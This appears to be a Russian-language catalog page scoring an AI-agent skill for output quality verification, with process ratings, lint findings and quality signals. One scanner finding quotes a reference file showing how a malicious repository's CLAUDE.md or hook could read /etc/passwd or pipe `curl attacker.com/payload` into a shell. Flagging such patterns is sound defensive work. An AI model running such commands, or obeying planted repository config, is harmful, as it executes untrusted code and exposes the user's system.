AC quality-verification
Гарантия и проверка качества вывода. Проверка после редактирования, тестирование перед отправкой, измерение метрик сессии. Неприменимо для повторных попыток инструмента (используйте tool-governance) или досрочной остановки агента (используйте execution-loop). См. tool-governance (отслеживание ошибок).
машинный переводПоказать оригиналСкрыть оригинал«输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试（用 tool-governance）或 agent…»
输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试（用 tool-governance）或 agent 提前停止（用 execution-loop）。参见 tool-governance（错误追踪）。
Гарантия и проверка качества вывода.
Как процесс C 57/100 · Есть пробелы — слабые места: когда включается, входы и предусловия, повторный запуск
Как улучшить
- Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
- spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.
Находки guard · 1
✓ Критических и высоких находок нет
Средние и низкие: 1
-
низкая Опасные команды
cmd-pipe-to-shellreferences/extended-patterns.md:25Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (демонстрация атаки / пример; в кавычках — упоминание, а не команда)**Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted，clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前，恶意配置不会生效。
демонстрацияв кавычках
Просканировано файлов: 13. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.
По спецификации Agent Skills
- заметка
frontmatter-keyнеизвестное поле фронтматтера "triggers"
Процессный рейтинг: все десять параметров 57/100
- 0Входы и предусловия. Не сказано, что нужно иметь на входе
- 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
- 20Когда включается. Не сказано, при каком запросе скилл включается
- 30Повторный запуск. Изменяющих операций: 25, без проверки текущего состояния
- 50Ошибки и развилки. Развилок: 0, есть раздел про ошибки
- 60Инструменты и файлы. Используются инструменты (bash, git), но во frontmatter они не объявлены
- 60Результат и критерий готовности. Формат результата описан, критерия завершения нет
- 100Шаги. Шагов: 9
- 100Согласованность. Имя и обязательные поля на месте
- 100Стоимость исполнения. Тело инструкции 1456 токенов
- low Ответ описан самодельной разметкой (4 тегов): типизированный вызов надёжнее
Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.
Сигналы качества
- +5В description нет примеров фраз, по которым скилл должен срабатывать
- +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
- +3Длина description 118: рекомендуется 120–800 символов
- +2Инструкции на одном языке
- +4Структура: 16 заголовков
- +3Пошаговые инструкции: 9 пунктов
- +3Формат ответа описан явно
- +4Есть примеры (3 блоков кода)
- +4Справочные файлы упоминаются в инструкциях (6 из 7)
- +3Все 3 скриптов описаны в инструкциях
- +1Лицензия указана
База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 91.